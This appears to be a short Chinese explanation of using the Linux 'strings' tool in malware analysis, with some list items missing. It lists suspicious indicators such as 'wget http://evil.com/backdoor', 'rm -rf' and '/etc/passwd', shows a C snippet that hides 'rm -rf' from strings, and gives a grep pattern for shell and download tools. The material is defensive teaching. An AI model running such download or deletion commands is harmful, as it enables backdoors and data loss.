简短结论:strings 可以“辅助”分析病毒/恶意程序,但不能单独用来判断是否是病毒。
下面分点说明。
strings 是什么strings 是 Linux 下的一个常用工具,用来从二进制文件(可执行文件、库、内存 dump 等)中提取可打印的字符串,例如:
strings suspicious_file
strings 在病毒分析中的作用 ✅通过字符串可以发现一些线索,例如:
/bin/sh
rm -rf
wget http://evil.com/backdoor
/etc/passwd
Mozilla/5.0
这些不一定就是病毒,但值得怀疑。
例如:
对恶意软件分析非常有帮助。
如果 strings 输出非常少,可能说明:
这时需要脱壳后再分析。
strings 不区分系统:
都可以用。
strings 的局限性 ❌原因:
✅ 只能作为线索,不能作为结论
它只能看到“文本”,看不到:
例如:
char cmd[] = {'r','m',' ','-','r','f','\0'};
system(cmd);
strings 可能提取不到完整命令。
strings suspicious_file | less
strings suspicious_file | grep -i "http\|sh\|wget\|curl\|exec"
strings -t x suspicious_file
| 工具 | 用途 |
|---|---|
file |
判断文件类型 |
objdump |
反汇编 |
strace |
跟踪系统调用 |
ltrace |
跟踪库调用 |
clamav |
病毒扫描 |
r2 / Ghidra / IDA |
逆向分析 |
strings是病毒分析中的“放大镜”,不是“判决书”。
如果你愿意,我可以:
strings 和 binwalk / xxd 的使用场景